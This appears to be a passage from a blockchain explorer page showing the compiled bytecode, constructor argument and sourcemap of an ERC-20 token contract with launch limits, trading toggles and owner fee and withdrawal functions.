01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094d919061163d565b601480546001600160a01b0319166001600160a01b038381169182179092556000908152600c60209081526040808320805460ff199081166001908117909255948916808552600a84528285208054909616821790955530808552925290912054929350909163f305d7199147916000806109d06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a5d919061165a565b505060145460405163095ea7b360e01b81526001600160a01b0386811660048301526000196024830152909116915063095ea7b3906044016020604051808303816000875af1158015610ab4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad89190611688565b50505050565b6000546001600160a01b03163314610b085760405162461bcd60e51b8152600401610579906115af565b600e5415610b4a5760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610579565b43600e55565b6060600580546105b3906115da565b6000546001600160a01b03163314610b895760405162461bcd60e51b8152600401610579906115af565b60004711610bd95760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f207769746864726177210000000000000000006044820152606401610579565b60405133904780156108fc02916000818181858888f19350505050158015610c05573d6000803e3d6000fd5b50565b6000610643338484610d6e565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b8152600401610579906115af565b600754600955565b6000546001600160a01b03163314610c715760405162461bcd60e51b8152600401610579906115af565b6001600160a01b038116610cb25760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610579565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610579565b6001600160a01b038216610e345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610579565b60008111610e965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610579565b6001600160a01b0383166000908152600c6020526040812054819060ff168015610ed957506001600160a01b0384166000908152600a602052604090205460ff16155b15610f9b5760095483610f01866001600160a01b031660009081526001602052604090205490565b610f0b91906116aa565b1115610f595760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e63680000000000000000006044820152606401610579565b6003546007546001600160a01b0390911690610f849087908390610f7f9060029061162a565b610d0d565b60118054906000610f94836116bd565b9190505550505b6001600160a01b0384166000908152600c602052604090205460ff168015610fc65750600d5460ff16155b8015610feb57506001600160a01b0385166000908152600a602052604090205460ff16155b801561101057506001600160a01b0384166000908152600a602052604090205460ff16155b156110665730600090815260016020526040902054801561105b576008548490821161103c5781611040565b6008545b811161104c578061104e565b815b905061105981611137565b505b61106447611289565b505b6001600160a01b0385166000908152600a602052604090205460ff161580156110a857506001600160a01b0384166000908152600a602052604090205460ff16155b80156110b75750600d5460ff16155b156110fe576000600e54116110f95760405162461bcd60e51b81526020600482015260086024820152672174726164696e6760c01b6044820152606401610579565b600191505b6001600160a01b0384166000908152600c602052604090205460ff1615611123575060015b61113085858585856112c7565b5050505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611179576111796116d6565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f6919061163d565b81600181518110611209576112096116d6565b6001600160a01b039283166020918202929092010152600b5460405163791ac94760e01b815291169063791ac9479061124f9085906000908690309042906004016116ec565b600060405180830381600087803b15801561126957600080fd5b505af192505050801561127a575060015b505050600d805460ff19169055565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112c3573d6000803e3d6000fd5b5050565b6001600160a01b0385166000908152600160205260409020546112eb90849061162a565b6001600160a01b03861660009081526001602052604081209190915582156113f2576000821561133357601354601154116113285760125461132c565b6010545b905061134d565b601354601154116113465760125461134a565b600f545b90505b6000606461135b838861175d565b6113659190611774565b905080156113ef5761137781846116aa565b306000908152600160205260409020549093506113959082906116aa565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113e69085815260200190565b60405180910390a35b50505b6113fc818561162a565b6001600160a01b03861660009081526001602052604090205461141f91906116aa565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611469848861162a565b60405190815260200160405180910390a3505050505050565b6001600160a01b0381168114610c0557600080fd5b6000602082840312156114a957600080fd5b81356114b481611482565b9392505050565b600060208083528351808285015260005b818110156114e8578581018301518582016040015282016114cc565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561151c57600080fd5b823561152781611482565b946020939093013593505050565b60008060006060848603121561154a57600080fd5b833561155581611482565b9250602084013561156581611482565b929592945050506040919091013590565b6000806040838503121561158957600080fd5b823561159481611482565b915060208301356115a481611482565b809150509250929050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600181811c908216806115ee57607f821691505b60208210810361160e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561064757610647611614565b60006020828403121561164f57600080fd5b81516114b481611482565b60008060006060848603121561166f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561169a57600080fd5b815180151581146114b457600080fd5b8082018082111561064757610647611614565b6000600182016116cf576116cf611614565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561173c5784516001600160a01b031683529383019391830191600101611717565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761064757610647611614565b60008261179157634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212206fe46335ee595e2a31a2c2bdf40babc1ba330c96462b706b4dad83d5e4744b7864736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000097d60a27630814a67f839b120af3fdcfafb7922

-----Decoded View---------------
Arg [0] : _pevaAddr (address): 0x097D60a27630814A67F839b120Af3fDCFafb7922

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000097d60a27630814a67f839b120af3fdcfafb7922


Deployed Bytecode Sourcemap

2714:7667:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5208:103;;;;;;;;;;-1:-1:-1;5208:103:0;;;;;:::i;:::-;;:::i;:::-;;5425:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6188:159;;;;;;;;;;-1:-1:-1;6188:159:0;;;;;:::i;:::-;;:::i;:::-;;;1440:14:1;;1433:22;1415:41;;1403:2;1388:18;6188:159:0;1275:187:1;5629:100:0;;;;;;;;;;-1:-1:-1;5709:12:0;;5629:100;;;1613:25:1;;;1601:2;1586:18;5629:100:0;1467:177:1;6355:336:0;;;;;;;;;;-1:-1:-1;6355:336:0;;;;;:::i;:::-;;:::i;3634:28::-;;;;;;;;;;;;;;;;5527:94;;;;;;;;;;-1:-1:-1;5604:9:0;;5527:94;;5604:9;;;;2252:36:1;;2240:2;2225:18;5527:94:0;2110:184:1;3294:49:0;;;;;;;;;;-1:-1:-1;3294:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3596:31;;;;;;;;;;;;;;;;3395:44;;;;;;;;;;-1:-1:-1;3395:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3751:27;;;;;;;;;;-1:-1:-1;3751:27:0;;;;-1:-1:-1;;;;;3751:27:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;3751:27:0;2299:203:1;3350:36:0;;;;;;;;;;-1:-1:-1;3350:36:0;;;;-1:-1:-1;;;;;3350:36:0;;;5737:119;;;;;;;;;;-1:-1:-1;5737:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5830:18:0;5803:7;5830:18;;;:9;:18;;;;;;;5737:119;2337:148;;;;;;;;;;;;;:::i;4230:820::-;;;;;;;;;;;;;:::i;3710:32::-;;;;;;;;;;;;;;;;5058:142;;;;;;;;;;;;;:::i;2140:79::-;;;;;;;;;;-1:-1:-1;2178:7:0;2205:6;-1:-1:-1;;;;;2205:6:0;2140:79;;3669:34;;;;;;;;;;;;;;;;5319:98;;;;;;;;;;;;;:::i;10149:192::-;;;;;;;;;;;;;:::i;5864:165::-;;;;;;;;;;-1:-1:-1;5864:165:0;;;;;:::i;:::-;;:::i;3225:48::-;;;;;;;;;;;;;;;;9940:96;;;;;;;;;;;;;:::i;3472:27::-;;;;;;;;;;;;;;;;3559:30;;;;;;;;;;;;;;;;6037:143;;;;;;;;;;-1:-1:-1;6037:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6145:18:0;;;6118:7;6145:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6037:143;2493:214;;;;;;;;;;-1:-1:-1;2493:214:0;;;;;:::i;:::-;;:::i;5208:103::-;2267:6;;-1:-1:-1;;;;;2267:6:0;2277:10;2267:20;2259:50;;;;-1:-1:-1;;;2259:50:0;;;;;;;:::i;:::-;;;;;;;;;5273:11:::1;:30:::0;;-1:-1:-1;;;;;;5273:30:0::1;-1:-1:-1::0;;;;;5273:30:0;;;::::1;::::0;;;::::1;::::0;;5208:103::o;5425:94::-;5473:13;5506:5;5499:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5425:94;:::o;6188:159::-;6263:4;6280:37;6289:10;6301:7;6310:6;6280:8;:37::i;:::-;-1:-1:-1;6335:4:0;6188:159;;;;;:::o;6355:336::-;6453:4;6470:36;6480:6;6488:9;6499:6;6470:9;:36::i;:::-;-1:-1:-1;;;;;6521:19:0;;3548:1;6521:19;;;:11;:19;;;;;;;;6541:10;6521:31;;;;;;;;-1:-1:-1;;6521:38:0;6517:145;;-1:-1:-1;;;;;6610:19:0;;;;;;:11;:19;;;;;;;;6630:10;6610:31;;;;;;;;:40;;6644:6;;6610:40;:::i;:::-;-1:-1:-1;;;;;6576:19:0;;;;;;:11;:19;;;;;;;;6596:10;6576:31;;;;;;;:74;6517:145;-1:-1:-1;6679:4:0;6355:336;;;;;:::o;2337:148::-;2267:6;;-1:-1:-1;;;;;2267:6:0;2277:10;2267:20;2259:50;;;;-1:-1:-1;;;2259:50:0;;;;;;;:::i;:::-;2444:1:::1;2428:6:::0;;2407:40:::1;::::0;-1:-1:-1;;;;;2428:6:0;;::::1;::::0;2407:40:::1;::::0;2444:1;;2407:40:::1;2475:1;2458:19:::0;;-1:-1:-1;;;;;;2458:19:0::1;::::0;;2337:148::o;4230:820::-;2267:6;;-1:-1:-1;;;;;2267:6:0;2277:10;2267:20;2259:50;;;;-1:-1:-1;;;2259:50:0;;;;;;;:::i;:::-;4290:12:::1;::::0;:17;4282:44:::1;;;::::0;-1:-1:-1;;;4282:44:0;;4328:2:1;4282:44:0::1;::::0;::::1;4310:21:1::0;4367:2;4347:18;;;4340:30;-1:-1:-1;;;4386:18:1;;;4379:45;4441:18;;4282:44:0::1;4126:339:1::0;4282:44:0::1;4436:14;:27:::0;;-1:-1:-1;;;;;;4436:27:0::1;4380:42;4436:27:::0;;::::1;::::0;;;4494:4:::1;4337:25;4474:26:::0;;;:11:::1;:26;::::0;;;;;;;:47;;;;;;;;-1:-1:-1;;4474:53:0;;4586:20;;-1:-1:-1;;;4586:20:0;;;;4380:42;;4586:18:::1;::::0;:20:::1;::::0;;::::1;::::0;;;;;;;4380:42;4586:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4540:67;;4618:16;4637:11;-1:-1:-1::0;;;;;4637:22:0::1;;4668:4;4675:10;-1:-1:-1::0;;;;;4675:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4637:56;::::0;-1:-1:-1;;;;;;4637:56:0::1;::::0;;;;;;-1:-1:-1;;;;;4956:15:1;;;4637:56:0::1;::::0;::::1;4938:34:1::0;5008:15;;4988:18;;;4981:43;4873:18;;4637:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4706:12;:23:::0;;-1:-1:-1;;;;;;4706:23:0::1;-1:-1:-1::0;;;;;4706:23:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;4740:22:0;;;:12:::1;:22;::::0;;;;;;;:29;;-1:-1:-1;;4740:29:0;;::::1;-1:-1:-1::0;4740:29:0;;::::1;::::0;;;4780:38;;::::1;::::0;;;:17:::1;:38:::0;;;;;:45;;;;::::1;::::0;::::1;::::0;;;4903:4:::1;5830:18:::0;;;;;;;;;4706:23;;-1:-1:-1;4780:38:0;;4838:26:::1;::::0;4872:21:::1;::::0;4934:1:::1;4936::::0;4938:7:::1;2178::::0;2205:6;-1:-1:-1;;;;;2205:6:0;;2140:79;4938:7:::1;4838:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;4838:124:0;;;-1:-1:-1;;;;;5394:15:1;;;4838:124:0::1;::::0;::::1;5376:34:1::0;5426:18;;;5419:34;;;;5469:18;;;5462:34;;;;5512:18;;;5505:34;5576:15;;;5555:19;;;5548:44;4946:15:0::1;5608:19:1::0;;;5601:35;5310:19;;4838:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;4980:12:0::1;::::0;4973:65:::1;::::0;-1:-1:-1;;;4973:65:0;;-1:-1:-1;;;;;6150:32:1;;;4973:65:0::1;::::0;::::1;6132:51:1::0;-1:-1:-1;;6199:18:1;;;6192:34;4980:12:0;;::::1;::::0;-1:-1:-1;4973:28:0::1;::::0;6105:18:1;;4973:65:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;4271:779;;;4230:820::o:0;5058:142::-;2267:6;;-1:-1:-1;;;;;2267:6:0;2277:10;2267:20;2259:50;;;;-1:-1:-1;;;2259:50:0;;;;;;;:::i;:::-;5118:12:::1;::::0;:17;5110:44:::1;;;::::0;-1:-1:-1;;;5110:44:0;;4328:2:1;5110:44:0::1;::::0;::::1;4310:21:1::0;4367:2;4347:18;;;4340:30;-1:-1:-1;;;4386:18:1;;;4379:45;4441:18;;5110:44:0::1;4126:339:1::0;5110:44:0::1;5180:12;5165;:27:::0;5058:142::o;5319:98::-;5369:13;5402:7;5395:14;;;;;:::i;10149:192::-;2267:6;;-1:-1:-1;;;;;2267:6:0;2277:10;2267:20;2259:50;;;;-1:-1:-1;;;2259:50:0;;;;;;;:::i;:::-;10242:1:::1;10218:21;:25;10210:61;;;::::0;-1:-1:-1;;;10210:61:0;;6721:2:1;10210:61:0::1;::::0;::::1;6703:21:1::0;6760:2;6740:18;;;6733:30;6799:25;6779:18;;;6772:53;6842:18;;10210:61:0::1;6519:347:1::0;10210:61:0::1;10282:51;::::0;10290:10:::1;::::0;10311:21:::1;10282:51:::0;::::1;;;::::0;::::1;::::0;;;10311:21;10290:10;10282:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10149:192::o:0;5864:165::-;5942:4;5959:40;5969:10;5981:9;5992:6;5959:9;:40::i;9940:96::-;2267:6;;-1:-1:-1;;;;;2267:6:0;2277:10;2267:20;2259:50;;;;-1:-1:-1;;;2259:50:0;;;;;;;:::i;:::-;10016:12:::1;::::0;9998:15:::1;:30:::0;9940:96::o;2493:214::-;2267:6;;-1:-1:-1;;;;;2267:6:0;2277:10;2267:20;2259:50;;;;-1:-1:-1;;;2259:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2582:22:0;::::1;2574:43;;;::::0;-1:-1:-1;;;2574:43:0;;7073:2:1;2574:43:0::1;::::0;::::1;7055:21:1::0;7112:1;7092:18;;;7085:29;-1:-1:-1;;;7130:18:1;;;7123:38;7178:18;;2574:43:0::1;6871:331:1::0;2574:43:0::1;2654:6;::::0;;2633:38:::1;::::0;-1:-1:-1;;;;;2633:38:0;;::::1;::::0;2654:6;::::1;::::0;2633:38:::1;::::0;::::1;2682:6;:17:::0;;-1:-1:-1;;;;;;2682:17:0::1;-1:-1:-1::0;;;;;2682:17:0;;;::::1;::::0;;;::::1;::::0;;2493:214::o;6699:177::-;-1:-1:-1;;;;;6784:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6836:32;;1613:25:1;;;6836:32:0;;1586:18:1;6836:32:0;;;;;;;6699:177;;;:::o;6884:1594::-;-1:-1:-1;;;;;7008:18:0;;7000:68;;;;-1:-1:-1;;;7000:68:0;;7409:2:1;7000:68:0;;;7391:21:1;7448:2;7428:18;;;7421:30;7487:34;7467:18;;;7460:62;-1:-1:-1;;;7538:18:1;;;7531:35;7583:19;;7000:68:0;7207:401:1;7000:68:0;-1:-1:-1;;;;;7087:16:0;;7079:64;;;;-1:-1:-1;;;7079:64:0;;7815:2:1;7079:64:0;;;7797:21:1;7854:2;7834:18;;;7827:30;7893:34;7873:18;;;7866:62;-1:-1:-1;;;7944:18:1;;;7937:33;7987:19;;7079:64:0;7613:399:1;7079:64:0;7171:1;7162:6;:10;7154:64;;;;-1:-1:-1;;;7154:64:0;;8219:2:1;7154:64:0;;;8201:21:1;8258:2;8238:18;;;8231:30;8297:34;8277:18;;;8270:62;-1:-1:-1;;;8348:18:1;;;8341:39;8397:19;;7154:64:0;8017:405:1;7154:64:0;-1:-1:-1;;;;;7284:18:0;;7231:12;7284:18;;;:12;:18;;;;;;7231:12;;7284:18;;:44;;;;-1:-1:-1;;;;;;7307:21:0;;;;;;:17;:21;;;;;;;;7306:22;7284:44;7280:272;;;7392:15;;7382:6;7366:13;7376:2;-1:-1:-1;;;;;5830:18:0;5803:7;5830:18;;;:9;:18;;;;;;;5737:119;7366:13;:22;;;;:::i;:::-;:41;;7358:77;;;;-1:-1:-1;;;7358:77:0;;8759:2:1;7358:77:0;;;8741:21:1;8798:2;8778:18;;;8771:30;8837:25;8817:18;;;8810:53;8880:18;;7358:77:0;8557:347:1;7358:77:0;7451:11;;7498:12;;-1:-1:-1;;;;;7451:11:0;;;;7478:35;;7487:4;;7451:11;;7498:14;;7511:1;;7498:14;:::i;:::-;7478:8;:35::i;:::-;7528:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7330:222;7280:272;-1:-1:-1;;;;;7568:16:0;;;;;;:12;:16;;;;;;;;:27;;;;-1:-1:-1;7589:6:0;;;;7588:7;7568:27;:55;;;;-1:-1:-1;;;;;;7600:23:0;;;;;;:17;:23;;;;;;;;7599:24;7568:55;:81;;;;-1:-1:-1;;;;;;7628:21:0;;;;;;:17;:21;;;;;;;;7627:22;7568:81;7564:610;;;7715:4;7666:28;5830:18;;;:9;:18;;;;;;7740:24;;7736:359;;7908:11;;7815:6;;7885:34;;:71;;7936:20;7885:71;;;7922:11;;7885:71;7862:19;:95;:162;;8005:19;7862:162;;;7982:20;7862:162;7840:184;;8043:36;8059:19;8043:15;:36::i;:::-;7766:329;7736:359;8123:39;8140:21;8123:16;:39::i;:::-;7651:523;7564:610;-1:-1:-1;;;;;8199:23:0;;;;;;:17;:23;;;;;;;;8198:24;:50;;;;-1:-1:-1;;;;;;8227:21:0;;;;;;:17;:21;;;;;;;;8226:22;8198:50;:61;;;;-1:-1:-1;8253:6:0;;;;8252:7;8198:61;8194:159;;;8299:1;8284:12;;:16;8276:36;;;;-1:-1:-1;;;8276:36:0;;9251:2:1;8276:36:0;;;9233:21:1;9290:1;9270:18;;;9263:29;-1:-1:-1;;;9308:18:1;;;9301:38;9356:18;;8276:36:0;9049:331:1;8276:36:0;8337:4;8327:14;;8194:159;-1:-1:-1;;;;;8369:16:0;;;;;;:12;:16;;;;;;;;8365:42;;;-1:-1:-1;8400:4:0;8365:42;8419:51;8434:4;8440:2;8444:6;8452:7;8461:8;8419:14;:51::i;:::-;6987:1491;;6884:1594;;;:::o;9510:422::-;3819:6;:13;;-1:-1:-1;;3819:13:0;3828:4;3819:13;;;9611:16:::1;::::0;;9625:1:::1;9611:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9611:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9611:16:0::1;9587:40;;9656:4;9638;9643:1;9638:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9638:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9682:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;9682:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;9638:7;;9682:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9672:4;9677:1;9672:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9672:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;9718:14:::1;::::0;:195:::1;::::0;-1:-1:-1;;;9718:195:0;;:14;::::1;::::0;:65:::1;::::0;:195:::1;::::0;9798:11;;9718:14:::1;::::0;9840:4;;9867::::1;::::0;9887:15:::1;::::0;9718:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;9714:211:::0;-1:-1:-1;;3855:6:0;:14;;-1:-1:-1;;3855:14:0;;;9510:422::o;10044:97::-;10105:11;;:28;;-1:-1:-1;;;;;10105:11:0;;;;:28;;;;;10126:6;;10105:11;:28;:11;:28;10126:6;10105:11;:28;;;;;;;;;;;;;;;;;;;;;10044:97;:::o;8486:1016::-;-1:-1:-1;;;;;8682:17:0;;;;;;:9;:17;;;;;;:27;;8702:7;;8682:27;:::i;:::-;-1:-1:-1;;;;;8662:17:0;;;;;;:9;:17;;;;;:47;;;;8750:599;;;;8792:14;8827:8;8823:213;;;8875:12;;8865:9;;:22;:53;;8904:14;;8865:53;;;8889:12;;8865:53;8856:62;;8823:213;;;8978:12;;8968:9;;:22;:52;;9006:14;;8968:52;;;8992:11;;8968:52;8959:61;;8823:213;9052:18;9092:3;9073:16;9083:6;9073:7;:16;:::i;:::-;:22;;;;:::i;:::-;9052:43;-1:-1:-1;9114:14:0;;9110:228;;9149:23;9162:10;9149:23;;:::i;:::-;9236:4;9218:24;;;;:9;:24;;;;;;9149:23;;-1:-1:-1;9218:37:0;;9245:10;;9218:37;:::i;:::-;9209:4;9191:24;;;;:9;:24;;;;;;;:64;;;;9279:43;;-1:-1:-1;;;;;9279:43:0;;;;;;;9311:10;1613:25:1;;1601:2;1586:18;;1467:177;9279:43:0;;;;;;;;9110:228;8763:586;;8750:599;9408:19;9418:9;9408:7;:19;:::i;:::-;-1:-1:-1;;;;;9384:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;9361:20:0;;;;;;;:9;:20;;;;;:67;;;;9444:48;;;9472:19;9482:9;9472:7;:19;:::i;:::-;9444:48;;1613:25:1;;;1601:2;1586:18;9444:48:0;;;;;;;8651:851;8486:1016;;;;;:::o;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;150:247;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;:::-;386:5;150:247;-1:-1:-1;;;150:247:1:o;402:548::-;514:4;543:2;572;561:9;554:21;604:6;598:13;647:6;642:2;631:9;627:18;620:34;672:1;682:140;696:6;693:1;690:13;682:140;;;791:14;;;787:23;;781:30;757:17;;;776:2;753:26;746:66;711:10;;682:140;;;686:3;871:1;866:2;857:6;846:9;842:22;838:31;831:42;941:2;934;930:7;925:2;917:6;913:15;909:29;898:9;894:45;890:54;882:62;;;;402:548;;;;:::o;955:315::-;1023:6;1031;1084:2;1072:9;1063:7;1059:23;1055:32;1052:52;;;1100:1;1097;1090:12;1052:52;1139:9;1126:23;1158:31;1183:5;1158:31;:::i;:::-;1208:5;1260:2;1245:18;;;;1232:32;;-1:-1:-1;;;955:315:1:o;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2737:388::-;2805:6;2813;2866:2;2854:9;2845:7;2841:23;2837:32;2834:52;;;2882:1;2879;2872:12;2834:52;2921:9;2908:23;2940:31;2965:5;2940:31;:::i;:::-;2990:5;-1:-1:-1;3047:2:1;3032:18;;3019:32;3060:33;3019:32;3060:33;:::i;:::-;3112:7;3102:17;;;2737:388;;;;;:::o;3130:341::-;3332:2;3314:21;;;3371:2;3351:18;;;3344:30;-1:-1:-1;;;3405:2:1;3390:18;;3383:47;3462:2;3447:18;;3130:341::o;3476:380::-;3555:1;3551:12;;;;3598;;;3619:61;;3673:4;3665:6;3661:17;3651:27;;3619:61;3726:2;3718:6;3715:14;3695:18;3692:38;3689:161;;3772:10;3767:3;3763:20;3760:1;3753:31;3807:4;3804:1;3797:15;3835:4;3832:1;3825:15;3689:161;;3476:380;;;:::o;3861:127::-;3922:10;3917:3;3913:20;3910:1;3903:31;3953:4;3950:1;3943:15;3977:4;3974:1;3967:15;3993:128;4060:9;;;4081:11;;;4078:37;;;4095:18;;:::i;4470:251::-;4540:6;4593:2;4581:9;4572:7;4568:23;4564:32;4561:52;;;4609:1;4606;4599:12;4561:52;4641:9;4635:16;4660:31;4685:5;4660:31;:::i;5647:306::-;5735:6;5743;5751;5804:2;5792:9;5783:7;5779:23;5775:32;5772:52;;;5820:1;5817;5810:12;5772:52;5849:9;5843:16;5833:26;;5899:2;5888:9;5884:18;5878:25;5868:35;;5943:2;5932:9;5928:18;5922:25;5912:35;;5647:306;;;;;:::o;6237:277::-;6304:6;6357:2;6345:9;6336:7;6332:23;6328:32;6325:52;;;6373:1;6370;6363:12;6325:52;6405:9;6399:16;6458:5;6451:13;6444:21;6437:5;6434:32;6424:60;;6480:1;6477;6470:12;8427:125;8492:9;;;8513:10;;;8510:36;;;8526:18;;:::i;8909:135::-;8948:3;8969:17;;;8966:43;;8989:18;;:::i;:::-;-1:-1:-1;9036:1:1;9025:13;;8909:135::o;9517:127::-;9578:10;9573:3;9569:20;9566:1;9559:31;9609:4;9606:1;9599:15;9633:4;9630:1;9623:15;9649:980;9911:4;9959:3;9948:9;9944:19;9990:6;9979:9;9972:25;10016:2;10054:6;10049:2;10038:9;10034:18;10027:34;10097:3;10092:2;10081:9;10077:18;10070:31;10121:6;10156;10150:13;10187:6;10179;10172:22;10225:3;10214:9;10210:19;10203:26;;10264:2;10256:6;10252:15;10238:29;;10285:1;10295:195;10309:6;10306:1;10303:13;10295:195;;;10374:13;;-1:-1:-1;;;;;10370:39:1;10358:52;;10465:15;;;;10430:12;;;;10406:1;10324:9;10295:195;;;-1:-1:-1;;;;;;;10546:32:1;;;;10541:2;10526:18;;10519:60;-1:-1:-1;;;10610:3:1;10595:19;10588:35;10507:3;9649:980;-1:-1:-1;;;9649:980:1:o;10634:168::-;10707:9;;;10738;;10755:15;;;10749:22;;10735:37;10725:71;;10776:18;;:::i;10807:217::-;10847:1;10873;10863:132;;10917:10;10912:3;10908:20;10905:1;10898:31;10952:4;10949:1;10942:15;10980:4;10977:1;10970:15;10863:132;-1:-1:-1;11009:9:1;;10807:217::o

Swarm Source

ipfs://6fe46335ee595e2a31a2c2bdf40babc1ba330c96462b706b4dad83d5e4744b78
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.